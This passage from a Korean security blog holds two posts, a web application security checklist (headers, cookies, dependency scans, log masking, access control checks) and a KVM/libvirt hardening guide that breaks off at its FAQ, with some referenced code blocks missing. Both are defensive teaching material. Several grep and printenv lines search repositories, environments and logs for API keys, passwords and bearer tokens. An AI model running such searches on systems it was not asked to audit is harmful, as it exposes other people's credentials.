객체 단위 접근 제어
다른 사용자 데이터가 서버 응답에 포함됨
없음
리소스 소유자 검증을 서비스 계층 또는 정책 미들웨어로 공통화
입력값
서버 검증, 길이 제한
클라이언트 검증 제거 시 서버가 그대로 수용
내부 전용 도구라도 서버 검증은 유지
DTO/스키마 검증과 DB 제약조건을 함께 사용
시크릿
코드 저장소, 로그, 환경 변수 노출
토큰·비밀번호가 저장소 또는 로그에 평문 존재
없음
시크릿 매니저 사용, 로그 마스킹 필터 적용
의존성
직접 의존성의 high/critical 취약점
인터넷 노출 런타임 경로에서 수정 가능한 고위험 취약점 방치
패치가 없을 때 보완 통제와 만료일을 명시한 단기 예외
직접 의존성 우선 업데이트, 간접 의존성은 상위 패키지 교체 검토
로깅
민감정보 포함 여부, request id
토큰 전문, 비밀번호, 주민등록번호류가 그대로 기록
없음
마스킹 규칙과 구조화 로그 키 표준화
체크리스트를 돌릴 때 제가 고정으로 보는 결정 포인트
보안 점검은 좋은 설정을 모으는 일이 아니라 충돌하는 목표 사이에서 우선순위를 정하는 일에 가깝습니다. 예를 들어 CSP(Content Security Policy)는 강하게 잠글수록 안전하지만, 이미 인라인 스크립트와 다중 CDN에 기대고 있는 서비스라면 한 번에 강제 적용하면 장애가 납니다. 반대로 SameSite 쿠키는 보수적으로 잡을수록 좋지만 외부 인증 연동이 있으면 리다이렉트 흐름을 깨뜨릴 수 있습니다. 이 지점에서 성급하게 밀어붙이면 보안팀도 개발팀도 둘 다 지치더라고요.
상황
A를 택할 때
B를 택할 때
제 추천
CSP 바로 강제 vs Report-Only부터 시작
리소스 출처가 단순하고 인라인 스크립트 제거가 끝난 경우
외부 스크립트가 많고 프런트 구조를 아직 정리 못한 경우
신규 서비스는 강제, 기존 서비스는 Content-Security-Policy-Report-Only로 먼저 수집 후 강제 전환
세션 기반 인증 vs 토큰 기반 인증
서버 렌더링 중심, 브라우저 세션 관리가 단순한 경우
다수의 API 클라이언트, 모바일 앱, 서비스 간 호출이 있는 경우
브라우저 웹앱은 세션 쿠키 우선, 다중 클라이언트 API는 짧은 만료 토큰과 서버 측 권한 검증 병행
취약점 스캔 즉시 차단 vs 예외 후 추적
직접 의존성, 수정 가능, 인터넷 노출 런타임인 경우
패치가 없고 실제 경로 노출이 없으며 보완 통제가 있는 경우
기계적으로 전부 차단하지 말고, 예외는 만료일과 대체 통제를 문서화
파일 업로드 즉시 공개 저장 vs 비공개 저장 후 서빙
공개 정적 자산이며 서버 측 재처리가 필요 없는 경우
사용자 업로드, 개인정보, 후처리 검사가 필요한 경우
사용자 업로드는 웹 루트 밖 또는 비공개 버킷 저장 후 검증된 경로로만 제공
실전 구현 1: HTTP 보안 헤더와 쿠키 설정
헤더는 비용 대비 효과가 좋습니다. 다만 추가했다와 제대로 적용됐다는 완전히 다른 얘기입니다. 리버스 프록시에서 넣었는데 애플리케이션 서버가 덮어쓰는 경우도 있고, CDN이 일부 헤더를 제거하는 경우도 있습니다. 제 기준으로는 응답에 실제로 존재하는지, 브라우저 콘솔에서 정책 충돌이 없는지까지 봐야 끝입니다. 이거 확인 안 하면 겉으로만 안전해 보이는 상태가 은근 자주 남습니다.
여기서 주의할 점도 분명합니다. X-Frame-Options: DENY는 관리 콘솔이나 외부 임베드 요구가 있으면 충돌할 수 있습니다. SameSite=Strict는 가장 보수적이지만 외부 로그인 연동이나 결제 리다이렉트 흐름을 깨뜨릴 수 있어, 일반적인 웹앱은 Lax부터 검토하는 편이 현실적입니다. style-src 'unsafe-inline'은 이상적이진 않지만, 기존 서비스에서 인라인 스타일 제거가 안 끝났다면 임시로 두고 범위를 줄여가는 식이 보통 더 안전합니다.
검증은 아래 정도면 충분합니다. 중요한 건 한 번 찍고 끝내지 않고, 로그인 전후 응답과 주요 페이지 응답을 각각 보는 겁니다. 쿠키 속성은 인증 이후에야 보이는 경우가 많거든요.
curl -I https://example.com
curl -s -D - -o /dev/null https://example.com | grep -Ei 'content-security-policy|x-frame-options|x-content-type-options|referrer-policy|permissions-policy'
# 로그인 후에는 브라우저 개발자 도구 또는 프록시에서 Set-Cookie 속성을 확인
# 확인 포인트: HttpOnly; Secure; SameSite=Lax 또는 SameSite=Strict
판단 기준도 애매하게 두지 않는 편이 좋습니다. 보안 헤더가 아예 없으면 설정 누락으로 보고 바로 수정합니다. CSP 위반 로그가 다수 보이면 정책이 앱 구조와 맞지 않는다는 뜻이지, 무조건 완화하라는 의미는 아닙니다. 어떤 스크립트나 스타일이 어디서 로드되는지부터 분류해야 합니다. 관련 글이 있다면 여기서 보안 헤더 가이드나 OWASP Top 10 해설로 내부 링크를 연결해 두면 검색 유입에도 도움이 됩니다.
리버스 프록시에서 보안 헤더를 추가하고, 뒤쪽 애플리케이션으로 요청을 전달하는 구조를 설명하는 이미지입니다.
실전 구현 2: 의존성 취약점 점검과 결과 읽는 법
의존성 스캔은 돌렸느냐보다 읽을 줄 아느냐가 더 중요합니다. 현업에서 진짜 시간을 잡아먹는 건 경고 숫자보다 우선순위 판단입니다. 저는 세 가지만 먼저 봅니다. 직접 의존성인가, 수정 가능한가, 운영 런타임에 실제로 실리나. 이 순서로 보면 노이즈가 꽤 줄어듭니다.
npm audit 결과에서 fix available가 있으면 예외 등록보다 업데이트 가능성부터 보는 게 맞습니다. 다만 자동 수정이 항상 정답은 아닙니다. 메이저 버전 상승이 포함되면 빌드나 런타임 동작이 바뀔 수 있으니까요. 저는 직접 의존성이면 changelog를 확인하고 테스트가 있는 범위에서 먼저 올리고, 간접 의존성이면 상위 패키지 업데이트로 해결되는지부터 봅니다.
초반에 제가 가장 많이 실수했던 것도 여기였습니다. CI에서 high 이상이면 전부 배포 차단으로 걸어두니, 결국 개발팀이 예외 파일만 늘리더라고요. 그 뒤부터는 룰을 바꿨습니다. 운영 노출 경로 + 수정 가능 + 직접 의존성이면 차단, 그 외는 보완 통제와 일정 관리로 보되 만료일 없는 예외는 금지. 이 기준이 있어야 스캔 도구가 업무를 막는 장치가 아니라 우선순위 도구가 됩니다.
결과 해석 기준
high 또는 critical이라도 개발 전용 패키지인지 운영 경로인지 먼저 구분합니다.
fix available가 있으면 예외보다 업데이트를 우선합니다.
같은 루트 패키지에서 파생된 경고는 묶어서 봐야 실제 작업량이 보입니다.
패치가 없으면 차단보다 보완 통제를 문서화하고 재검토 일정을 박아두는 편이 낫습니다.
실전 구현 3: 시크릿 관리와 로그 마스킹
시크릿은 코드에만 안 넣으면 끝이라고 생각하기 쉬운데, 실제 누출 경로는 훨씬 많습니다. CI 로그, 컨테이너 시작 스크립트, 예외 스택, 디버그 엔드포인트, 운영자가 급히 남긴 임시 로그가 다 후보입니다. 특히 장애 대응 중에 잠깐 보자고 찍은 로그가 오래 남는 경우가 정말 많습니다. 이 부분은 한 번 터지면 수습이 꽤 번거롭더라고요.
# 런타임 환경 변수 이름만 점검
printenv | cut -d= -f1 | grep -Ei 'token|secret|password|key'
# 저장소 내 하드코딩 흔적 점검
git grep -nE '(API_KEY|SECRET_KEY|PASSWORD|TOKEN|ACCESS_KEY|PRIVATE_KEY)'
# 로그 샘플에서 민감 키 이름 확인
grep -RniE 'authorization:|bearer |set-cookie|password|secret|token' ./logs 2>/dev/null
이 명령은 어디까지나 자신이 관리하는 시스템의 방어 점검용입니다. 결과를 외부에 공유하거나 협업 채널에 그대로 붙이면 안 됩니다. 제 경험상 가장 안전한 운영 방식은 두 가지입니다. 첫째, 시크릿 값 자체를 로그에 남기지 않도록 애플리케이션 레벨에서 필터링합니다. 둘째, 장애 분석에 필요한 식별자는 토큰 전체가 아니라 해시나 앞뒤 일부만 남깁니다.
예를 들어 로그에 Authorization 헤더 전체를 남기면 분석은 편하지만 유출 리스크가 너무 큽니다. 반대로 아무것도 안 남기면 장애 추적이 막힙니다. 저는 보통 request id, 사용자 내부 식별자, 권한 결과, 실패 원인 코드까지만 남기고, 비밀번호·세션 ID·Bearer 토큰 전문은 금지합니다. 여기서 중요한 건 민감정보를 빼자가 아니라 분석 가능한 최소 정보만 남기자는 원칙입니다.
재현 가능한 점검 시나리오: 권한 검증 누락 찾기
추상적인 원칙보다 실제 점검 절차 하나가 더 오래 남습니다. 그래서 저는 배포 전 권한 검증 확인을 꼭 시나리오로 남깁니다. 대상은 관리자 페이지, 주문 조회, 프로필 수정, 첨부파일 다운로드처럼 사용자별 소유권이 분명한 기능입니다. 절차는 복잡하지 않습니다. 내가 관리하는 테스트 환경에서 정상 계정으로 로그인하고, 네트워크 탭에서 해당 요청의 URL, 메서드, 응답 코드를 확인합니다. 그런 다음 같은 계정 상태에서, 시스템이 허용하지 않아야 하는 다른 리소스에 대한 접근 요청이 서버에서 차단되는지만 봅니다.
여기서 핵심은 우회 기법을 늘어놓는 게 아니라 서버가 객체 소유권을 기준으로 차단하는지 확인하는 데 있습니다. 정상이라면 403 Forbidden 또는 서비스 정책에 맞는 거부 응답이 나와야 합니다. 만약 화면에서는 버튼이 숨겨져 있는데 응답 자체는 나온다면, 그건 거의 전형적인 Broken Access Control입니다. 프런트엔드 조건 분기와 서버 권한 검증을 같은 것으로 취급한 결과죠.
이 시나리오가 좋은 이유는 재현성이 있기 때문입니다. QA가 다시 돌리기 쉽고, 개발자가 수정 후 검증 기준으로 삼기 쉽습니다. 또 성능 부담도 거의 없습니다. 별도 스캐너 없이 브라우저 개발자 도구와 애플리케이션 로그만으로 충분히 확인 가능한 경우가 많습니다. 저는 이런 체크가 문서에 한 줄로만 적혀 있을 때보다, 어떤 화면에서 무엇을 봐야 하는지 적혀 있을 때 팀이 훨씬 덜 놓친다고 봅니다.
정상 사용자 요청과 권한 없는 요청을 구분하고, 서버가 403으로 차단하는 흐름을 보여주는 이미지입니다.
주의사항과 트러블슈팅
보안 설정은 강하게 넣을수록 좋아 보이지만, 운영에서는 늘 부작용과 같이 옵니다. 그래서 저는 장애를 만드는 설정과 리스크를 줄이는 설정을 구분해서 적용합니다. 이 선을 잘 잡아야 팀이 보안을 싫어하지 않습니다.
CSP 적용 후 화면이 깨짐: 대개 근본 원인은 인라인 스크립트, 서드파티 CDN, 레거시 위젯입니다. 이럴 땐 정책을 즉시 느슨하게 풀기보다 Report-Only로 위반 출처를 수집하고, 인라인 제거 작업부터 시작하는 편이 낫습니다.
SameSite 설정 후 로그인 연동 문제: OAuth 2.0, SSO(Single Sign-On), 결제 리다이렉트가 있으면 Strict가 과할 수 있습니다. 외부 리다이렉트가 있는 웹앱은 먼저 Lax를 검토하세요.
취약점 스캔 결과가 너무 많음: 근본 원인은 중복 경고와 간접 의존성입니다. 루트 패키지별로 묶고, 직접 의존성부터 줄이는 편이 실제 효과가 큽니다.
에러를 숨겼더니 운영 분석이 어려움: 사용자 응답과 내부 로그를 분리하지 않았기 때문입니다. 외부 응답은 일반화하고, 내부에는 request id, 예외 클래스, 상위 원인만 남기면 됩니다.
파일 업로드는 특히 낙관적으로 보면 안 됩니다. 확장자 검사만으로는 부족하고, 저장 위치가 웹 루트 안쪽이면 더 위험합니다. 제 추천은 분명합니다. 사용자 업로드는 웹에서 직접 실행되지 않는 위치에 저장하고, 필요하면 별도 서빙 계층이나 비공개 스토리지의 서명 URL 같은 방식으로 노출하세요. 이미지라면 업로드 직후 원본을 그대로 노출하기보다 후처리 파이프라인을 거친 파생본만 서빙하는 편이 더 안전합니다. 원본 메타데이터(EXIF 등) 처리 여부도 같이 확인하셔야 합니다.
웹 애플리케이션 보안 체크리스트 검증: 배포 전에 무엇을 확인하면 되나
배포 직전 검증은 길게 할 필요 없습니다. 대신 짧아도 빠뜨리면 안 되는 순서가 있습니다. 제가 운영 중인 서비스에서 주로 쓰는 순서는 아래와 같습니다. 이 순서가 좋은 이유는 헤더, 권한, 의존성, 로그 노출처럼 서로 다른 계층을 짧은 시간 안에 교차 검증할 수 있기 때문입니다.
주요 응답 헤더 확인: curl -I와 실제 로그인 후 응답에서 헤더와 쿠키 속성을 봅니다.
취약점 스캔 결과 확인: 직접 의존성, 수정 가능, 런타임 노출 여부로 우선순위를 정합니다.
로그 샘플 확인: 토큰, 비밀번호, 개인정보가 평문으로 남지 않는지 확인합니다.
에러 페이지 확인: 내부 경로, 프레임워크 버전, 스택 트레이스 노출이 없는지 봅니다.
이때 기준을 분명히 적어두면 팀이 덜 흔들립니다. 예를 들어 인증·권한 실패는 예외 없이 수정 대상, 직접 의존성의 수정 가능한 고위험 취약점은 배포 전 우선 조치, 로그 민감정보 노출은 기능 영향과 무관하게 즉시 수정, CSP 경고는 실제 차단 영향과 위반 출처를 확인한 뒤 단계 적용. 이렇게 써두면 이번엔 바쁘니까 넘어가자는 말이 줄어듭니다.
# 배포 전 방어 점검 예시 순서
curl -I https://example.com
curl -s -D - -o /dev/null https://example.com/login | grep -Ei 'set-cookie|content-security-policy|x-frame-options|x-content-type-options'
npm audit --audit-level=high
pip-audit
git grep -nE '(API_KEY|SECRET_KEY|PASSWORD|TOKEN)'
# 로그 샘플은 운영 정책에 따라 마스킹된 사본으로만 확인
여기서 하나 더 중요합니다. 자동화 가능한 항목과 사람 판단이 필요한 항목을 섞지 않는 게 좋습니다. 헤더 존재 여부, 의존성 스캔, 하드코딩 흔적 검색은 CI에서 자동화하기 좋습니다. 반면 권한 설계의 타당성, CSP 위반 허용 범위, 예외 승인 타당성은 여전히 사람이 봐야 합니다. 둘을 구분하지 않으면 자동화가 과신으로 바뀌거나, 반대로 전부 수작업이 되어 금방 지칩니다.
헤더 점검, 의존성 스캔, 권한 검증, 로그 마스킹 상태를 한눈에 보여주는 결과 요약 이미지입니다.
운영 문서로 남길 때 좋은 형태
체크리스트는 문서함에 들어가면 죽습니다. 살아 있으려면 PR 템플릿, 배포 파이프라인, 장애 대응 문서에 각각 연결돼야 합니다. 제가 추천하는 방식은 문서를 길게 쓰는 게 아니라, 각 접점에 질문을 짧게 심는 겁니다. 예를 들어 PR 템플릿에는 새 API 추가 시 인증/인가 확인, 민감정보 로그 출력 없음, 시크릿 하드코딩 없음 정도만 있어도 효과가 큽니다. 배포 파이프라인에는 헤더 검사, 의존성 스캔, 기본 grep 검사를 자동화하고요.
반대로 하지 말아야 할 것도 있습니다. 체크리스트를 보안팀 전용 문서로 분리해 두는 방식입니다. 그러면 개발자는 릴리스 압박을 먼저 받고, 보안 항목은 마지막 승인 절차로만 남습니다. 그 구조에서는 늘 늦습니다. 개발자가 수정할 수 있는 형태로, 배포 전에 다시 확인할 수 있는 문장으로 바꿔야 실제로 작동합니다.
FAQ: 현업에서 자주 나오는 질문
보안 도구를 도입했는데도 왜 불안할까요?
도구는 탐지해주지만, 권한 설계와 예외 판단을 대신해주지는 않습니다. 특히 객체 단위 권한, 로그 민감정보, 운영 설정 차이는 도구만으로 다 걸러지지 않습니다. 그래서 웹 애플리케이션 보안 체크리스트가 필요합니다.
개발 속도가 느려지지 않나요?
초반에는 조금 느려집니다. 다만 운영 사고가 나면 기능 개발, 고객 대응, 로그 조사, 롤백까지 한 번에 붙습니다. 제가 체감한 차이는 단순했습니다. 초기에 배포 기준을 분명히 둔 팀이 결국 더 빨랐습니다. 재작업이 줄기 때문입니다.
OWASP Top 10을 다 외워야 하나요?
그럴 필요 없습니다. 인증, 권한, 입력값, 설정, 의존성 같은 개발 작업 단위로 번역해서 보시면 됩니다. 외우는 것보다 배포 체크 질문으로 바꾸는 편이 훨씬 실용적입니다.
인증, 인가, 입력값 검증, 보안 헤더, 의존성 관리, 로그 마스킹을 핵심만 정리한 요약 이미지입니다.
마무리: 상황별로 이렇게 가시면 됩니다
이미 운영 중인 서비스에서 빠르게 리스크를 줄여야 한다면, 저는 권한 검증 확인 → 보안 헤더와 쿠키 속성 점검 → 의존성 스캔 우선순위 정리 → 시크릿·로그 점검 순서로 가시라고 말씀드립니다. 개인정보 처리 API나 관리자 기능이 있으면 접근 제어가 첫 번째입니다. 정적 페이지 비중이 큰 서비스라면 CSP와 배포 헤더 설정이 먼저고요. 외부 로그인 연동이 많다면 SameSite와 리다이렉트 흐름부터 조심해서 보셔야 합니다.
신규 프로젝트라면 더 단순합니다. PR 템플릿에 체크 항목을 심고, CI에 자동 검사 가능한 부분을 붙이고, 운영 반영 직전에 권한과 로그 샘플만 사람이 다시 보면 됩니다. 이 순서가 가장 덜 지치고, 가장 오래 갑니다.
보안은 거대한 장비보다 작은 누락에서 먼저 무너집니다. 본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적이며, 타인의 시스템에 대한 무단 접근·공격은 불법이며 법적 처벌 대상입니다. 체크리스트를 문서로만 두지 말고 배포 흐름에 연결해 두세요. 그 순간부터 품질 관리가 아니라 사고 예방 장치가 됩니다.
KVM 보안 강화는 옵션이 아니라 운영 품질에 가깝습니다. VM이 몇 대 안 될 때는 성능과 편의가 먼저 눈에 들어오지만, 실제 사고를 줄이는 건 늘 게스트-호스트 격리, 관리면 축소, 업데이트 절차더라고요. 저도 홈랩과 테스트 호스트를 굴리면서 비슷하게 느꼈습니다. 문제는 대개 화려한 제로데이보다, 편의상 열어 둔 공유 경로, 느슨한 libvirt 권한, 꺼 둔 SELinux/AppArmor, 방치된 장치 에뮬레이션에서 시작됐거든요. 본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근·공격은 불법이며 법적 처벌 대상입니다.
호스트 커널, KVM, QEMU, libvirt, 가상 네트워크가 어떻게 분리되는지 한눈에 보여주는 개요 이미지입니다.
KVM 보안 강화가 중요한 이유
KVM 환경은 흔히 하이퍼바이저 하나로 뭉뚱그려 말하지만, 실제 위험은 계층마다 다르게 생깁니다. 커널 쪽은 KVM 모듈과 메모리 관리가, 사용자 공간은 QEMU 장치 에뮬레이션이, 운영면은 libvirt 소켓과 정책이, 네트워크 쪽은 브리지와 필터가 각각 문제를 만듭니다. 그래서 보안은 제품 하나를 더 붙이는 작업이 아니라, 어느 레이어가 깨져도 다음 레이어에서 피해를 줄이는 구조를 만드는 일에 더 가깝습니다.
운영하면서 특히 자주 보는 위험 지점은 아래 네 가지였습니다.
장치가 과한 VM: 안 쓰는 USB, 사운드, CD-ROM, 그래픽 장치가 남아 있으면 QEMU 공격면만 늘어납니다.
편의성 때문에 열린 공유: 호스트 경로를 광범위하게 마운트하거나 9p, virtiofs를 무분별하게 열면 격리 이점이 빠르게 줄어듭니다.
관리면 노출: libvirt 관리 소켓, 원격 API, SSH 키 관리가 느슨하면 VM 자체보다 운영 채널이 먼저 흔들립니다.
격리 정책 해제: SELinux나 AppArmor를 꺼 두면 당장은 편하지만, 다음 장애 때 원인 추적이 더 어려워집니다.
최근 공개되는 취약점 대응도 같은 맥락으로 봐야 합니다. CVE 번호를 외우는 것보다 중요한 건, 어떤 이슈가 나오더라도 장치 최소화, 프로세스 confinement, 네트워크 분리, 패치 검증 루틴으로 폭발 반경을 줄여 두는 겁니다. 실무에서는 이 차이가 진짜 크게 납니다.
KVM 보안 강화 관점에서 이해하는 KVM, QEMU, libvirt, sVirt
구조를 이해할 때 가장 도움이 됐던 기준은 단순했습니다. KVM은 커널 안에서 CPU 가상화 가속을 맡고, QEMU는 실제 VM 프로세스를 띄우며, libvirt는 그 수명주기와 정책을 관리합니다. 여기에 sVirt와 SELinux 또는 AppArmor가 붙어서, VM 프로세스가 접근할 수 있는 파일·장치 범위를 제한합니다. 결국 보안의 핵심은 “VM이 뜨는가”보다 “QEMU 프로세스가 어디까지 닿을 수 있는가”에 있습니다.
여기서 흔한 오해가 하나 있습니다. “내부망인데 괜찮지 않나”라는 판단이죠. 실제로는 내부망일수록 브리지 하나에 관리 트래픽, 스토리지, 게스트 서비스 트래픽을 한꺼번에 올려 두는 경우가 많아서, 사고가 나면 범위가 더 넓게 번집니다. 특히 테스트 VM과 운영 보조 VM이 섞인 호스트라면 이 구분을 빨리 해 두는 편이 훨씬 낫습니다.
실전 1: KVM 보안 강화의 시작, 호스트 기본 상태 점검
KVM 보안 강화의 출발점은 현재 상태를 숫자와 로그로 확인하는 겁니다. 여기서 중요한 건 “설치돼 있다”가 아니라 “격리 기능이 실제로 살아 있느냐”예요. 저는 새 호스트를 받으면 아래 순서대로 봅니다.
해석 기준도 명확해야 합니다. <code>virt-host-validate에서 FAIL이 뜨면 그냥 넘기지 않는 편이 맞습니다. 겉보기엔 기능 문제처럼 보여도, 커널 옵션이나 cgroup 구성이 격리 기능에 영향을 줄 때가 있거든요. getenforce가 Enforcing이 아니거나 aa-status에서 적용 중인 프로파일이 거의 보이지 않으면, 그 상태에서는 나머지 보안 논의가 반쯤 힘을 잃습니다.
이 단계에서 같이 봐야 할 건 패치 절차입니다. 최근 취약점 방어를 실무적으로 하려면 “뉴스를 빨리 읽는다”보다 “보안 업데이트를 언제 어떤 순서로 반영하는가”가 더 중요합니다. 테스트 호스트 한 대에서 VM 기동, 저장소 접근, 마이그레이션, 백업 경로를 먼저 확인하고 운영 호스트에 넘기는 흐름이 있으면 대응 품질이 훨씬 안정적입니다. 관련해서 호스트 방화벽이나 리눅스 권한 모델을 따로 정리한 글이 있다면, 그 글도 함께 읽어 두면 운영 기준을 잡기 편합니다.
실전 2: 게스트-호스트 격리를 실제 설정으로 묶기
보안 수준이 확 갈리는 구간이 여기입니다. VM이 잘 뜬다는 이유로 XML을 방치하면, 몇 달 뒤에는 왜 그런 장치가 붙어 있는지 아무도 설명 못 하는 환경이 됩니다. 저는 템플릿을 만들 때 “필요한 것만 남기기”를 먼저 하고, 그다음에 보안 라벨과 네트워크 필터를 확인합니다. 이 순서가 생각보다 편하더라고요.
KVM 보안 강화용 sVirt 라벨과 네트워크 필터 적용
libvirt domain XML에서는 최소한 seclabel, 디스크 경로, 인터페이스 필터, 장치 수를 같이 봐야 합니다. 단일 호스트라도 이 부분을 표준화해 두면 운영 품질이 꽤 올라갑니다.
clean-traffic는 MAC spoofing, IP spoofing, ARP spoofing을 줄이는 데 실용적입니다. 특히 같은 브리지에 여러 VM을 올리는 환경에서는 비용 대비 효과가 좋습니다. 다만 고정 IP를 전제로 운영하는 편이 더 편해서, DHCP로 자주 바뀌는 임시 VM에는 관리 부담이 생길 수 있습니다. 이럴 땐 필터를 통째로 빼기보다, 관리망용 브리지와 실험용 브리지를 분리하는 쪽이 더 안전합니다.
domain XML의 seclabel, bridge, nwfilter, virtio 디바이스 최소화 구성을 묶어 보여주는 설정 다이어그램입니다.
QEMU 보안 옵션은 기본값을 존중하는 쪽이 안전합니다
운영 중 가장 위험한 판단 중 하나가 “일단 뜨게 하자”입니다. 패스스루나 특수 마운트가 안 될 때 security_driver를 비우거나 confinement를 낮추는 경우가 있는데, 그 순간부터는 문제를 해결한 게 아니라 탐지 능력을 버린 셈이 됩니다. 저는 먼저 로그를 보고 어떤 제약이 걸렸는지 확인한 뒤, 필요한 범위만 예외를 만듭니다. 이거 한번 습관 붙이면 훨씬 덜 흔들립니다.
grep -E '^(#\s*)?(security_driver|security_default_confined|user|group|namespaces|seccomp_sandbox|dynamic_ownership)' /etc/libvirt/qemu.conf
# 소켓 및 권한 확인
systemctl cat virtqemud.socket libvirtd.socket --no-pager
getfacl /var/run/libvirt/libvirt-sock /var/run/libvirt/virtqemud-sock 2>/dev/null
# 최근 부팅 이후 libvirt/QEMU 거부·오류 로그 확인
journalctl -u virtqemud -u libvirtd -b --no-pager | grep -Ei 'denied|avc|apparmor|seccomp|qemu'
security_default_confined를 껐다면, 이유가 문서화돼 있지 않은 이상 과거 임시 조치가 굳어졌을 가능성을 먼저 의심하는 편이 맞습니다.
user와 group가 루트 권한으로 과하게 올라가 있으면, 편의는 늘어도 사고 범위가 커집니다.
dynamic_ownership는 스토리지 경로 운영 방식과 같이 봐야 합니다. 여러 관리자가 수동으로 파일 권한을 건드리는 환경이라면 표준 경로를 먼저 정리하는 쪽이 낫습니다.
seccomp_sandbox를 끄는 건 마지막 수단이어야 합니다. 실제 병목은 이 옵션보다 스토리지 캐시, 백엔드 네트워크, CPU 모델 선택에 있는 경우가 더 많습니다.
여러 환경을 다뤄보면 공통점이 있습니다. QEMU 보안 옵션은 성능을 깎는 장식이 아니라, 문제를 지역화하는 장치라는 점이죠. 보호 장치를 꺼 버리면 장애는 잠깐 사라져도 다음엔 더 크게 돌아옵니다.
실전 3: 최신 취약점 방어는 패치, 최소화, 분리로 갑니다
최신 CVE 대응을 운영 언어로 바꾸면 세 가지입니다. 첫째, 호스트 커널과 QEMU, libvirt를 배포판 보안 공지 기준으로 빠르게 갱신합니다. 둘째, 사용하지 않는 장치와 공유 기능을 제거합니다. 셋째, 관리면과 데이터면을 분리해 한 지점의 실패가 전체 확산으로 이어지지 않게 합니다. 이 세 가지가 쌓이면, 개별 취약점 세부 사항을 전부 몰라도 방어력이 꽤 올라갑니다.
특히 장치 에뮬레이션 쪽은 “안 쓰면 줄어드는 위험”이 분명합니다. 아래 표는 실제 운영에서 자주 고민하는 선택지입니다.
구성 요소
유지해도 되는 경우
빼는 편이 나은 경우
보안상 판단 이유
USB redirection
VDI, 데스크톱 VM에서 실제 장치 전달이 필요할 때
서버 VM, 헤드리스 워크로드
불필요하면 장치 관련 공격면만 늘어납니다.
사운드 장치
멀티미디어 테스트, GUI 앱 검증
웹 서버, DB, 배치, CI 러너
서버 VM에는 기능 이득이 거의 없습니다.
CD-ROM 장치
초기 설치, 드라이버 주입, 복구 작업 직후
설치 완료 후 상시 운영
남겨 둘 이유가 사라지면 제거하는 편이 낫습니다.
호스트 경로 공유
명확한 목적의 제한된 경로 공유가 필요할 때
전역 경로, 다목적 공유 폴더
게스트에서 호스트 파일 체계로 닿는 면적이 커집니다.
원격 libvirt 관리
전용 관리망과 인증 체계를 갖춘 경우
일반 서비스망과 혼재한 경우
운영 채널이 먼저 노려질 가능성이 큽니다.
새 VM 템플릿을 만들 때 저는 다음 기준으로 자릅니다. 서버 VM이면 GUI 장치, 사운드, USB, 광학 장치는 특별한 이유가 없으면 빼고 시작합니다. 파일 공유는 “편해서”가 아니라 목적과 경로가 분명할 때만 넣습니다. 관리 소켓과 API는 로컬 우선으로 두고, 원격 관리가 필요하면 전용 관리망과 접근 제어를 같이 설계합니다. 스냅샷과 백업 이미지는 운영자가 일반 작업하는 경로와 섞지 않는 편이 좋고요. 이런 기본기가 나중에 권한, 라벨, 삭제 사고를 꽤 많이 줄여 줍니다.
⚠️ 제가 겪었던 문제: SELinux를 끄지 말고 라벨을 바로잡으세요
이 문제는 생각보다 자주 나옵니다. 디스크 이미지를 /var/lib/libvirt/images 밖으로 옮긴 뒤 XML만 고치고 끝내면, VM 기동 시 QEMU가 파일 접근을 거부당하는 경우가 많습니다. 이때 정책이 너무 빡세다고 느끼기 쉬운데, 사실은 정책이 정상 동작 중인 겁니다. 막혀야 할 접근을 막고 있는 거니까요.
제가 실제로 겪었던 재현 시나리오는 이랬습니다. 저장소 정리를 하려고 이미지를 /srv/vm-images로 옮겼고, domain XML의 <source file='...'/>만 수정했습니다. 기동은 실패했고, 로그에는 AVC deny만 남았습니다. 원인은 단순했습니다. 파일 경로는 바뀌었는데 보안 라벨은 새 경로 기준으로 맞추지 않았던 겁니다. 이거 처음 겪으면 꽤 당황스럽습니다.
virsh start hardened-vm
journalctl -xe --no-pager | grep -Ei 'denied|avc|apparmor|qemu|libvirt'
ls -l /srv/vm-images
ls -Z /srv/vm-images 2>/dev/null || true
restorecon -Rv /srv/vm-images
# 경로 자체를 영구적으로 표준 라벨 대상으로 추가해야 할 때 예시
semanage fcontext -a -t virt_image_t '/srv/vm-images(/.*)?'
restorecon -Rv /srv/vm-images
해석 기준도 분명합니다.
예상한 경로에서 AVC deny가 반복되면, 첫 번째 가설은 거의 항상 라벨 문제입니다.
파일 소유권과 경로가 정상인데도 실패하면, domain XML의 디스크 경로와 seclabel, 그리고 libvirt 보안 드라이버 설정을 같이 봐야 합니다.
setenforce 0는 원인 확인용 임시 진단으로만 제한해야 합니다. 영구 대응으로 쓰면 다음 장애 때 격리도 원인도 동시에 잃게 됩니다.
이 경험을 한 번 하고 나면 시각이 조금 달라집니다. SELinux는 일을 방해하는 게 아니라, 잘못된 경로 변경을 초기에 드러내 주는 장치였거든요. 운영에서는 이런 시끄러운 정직함이 훨씬 낫습니다.
journalctl, AVC deny 로그, 파일 보안 라벨 확인 흐름을 시각화한 검증 이미지입니다.
검증: KVM 보안 강화 후 무엇을 보고 안전하다고 판단할까
설정은 넣는 것보다 검증이 더 중요합니다. 저는 보안 강화가 끝난 뒤 아래 순서로 확인합니다. 핵심은 정상 동작만 보는 게 아니라, 예상 밖 접근이 실제로 막히는지까지 보는 겁니다.
이 결과를 볼 때는 숫자보다 의도와 실제가 일치하는지를 따집니다. XML에는 없는 장치가 QEMU 실행 파라미터에 많다면 템플릿이 지저분하다는 뜻입니다. 보안 로그가 전혀 없는 상태가 무조건 이상적인 것도 아닙니다. 정책이 살아 있으면 정상 차단 로그가 가끔 보일 수 있습니다. 반대로 VM 기동 때마다 같은 거부가 반복되고 서비스가 실제로 실패한다면, 그건 바로 조정해야 할 신호입니다.
여기서 많이 놓치는 부분이 업데이트 후 부팅만 확인하는 습관입니다. 라이브 마이그레이션, 스냅샷, 백업, 이미지 증설 같은 운영 동작은 평소엔 덜 보이지만 장애 때 가장 먼저 필요해집니다. 그래서 저는 패치 검증을 할 때 평소 쓰는 관리 작업 하나 이상을 반드시 같이 돌립니다. 이 루틴 하나만 있어도 운영 안정성이 꽤 달라집니다.
자주 묻는 포인트와 운영 팁
1. 네트워크를 완전히 분리해야 하나요?
